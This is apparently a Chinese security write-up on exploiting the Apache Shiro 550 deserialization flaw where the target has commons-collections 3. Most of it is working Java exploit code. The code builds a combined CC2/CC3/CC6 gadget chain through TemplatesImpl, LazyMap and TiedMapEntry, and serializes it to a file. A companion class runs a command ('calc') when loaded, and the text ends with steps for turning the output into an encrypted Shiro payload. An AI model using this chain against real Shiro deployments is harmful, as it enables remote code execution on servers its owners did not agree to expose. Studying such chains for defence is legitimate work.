Shiro在commonscollects3下的CC链利用

shiro 550在CC链下的利用比较特殊，默认是没有commons-collects依赖的，如果对方用commons-collects3直接用CC6的话没法利用，而ysoserial只有CC2能打shiro+commons-collects这条链的，而CC2对应的commons-collects版本为4，当commons-collects版本为3时就没有对应的链了，主要原因是shiro中反序列化重写了resolveClass，不能处理数组，如果想打commons-collects3需要结合CC2、CC3、CC6，具体代码如下

package com.superman;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class ShiroCC {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field nameField = aClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = aClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C://Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        //CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        //CC6
        HashMap<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazyMap.remove(templates);

        Class<LazyMap> c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,invokerTransformer);
        serialize(map2);

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object object = objectInputStream.readObject();
        return object;
    }
}

Test.java

package com.superman;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

编译Test.java并将Test.class放置指定目录下，编译ShiroCC.java，获得的ser.txt配合shiro的exp生成机密后的数据
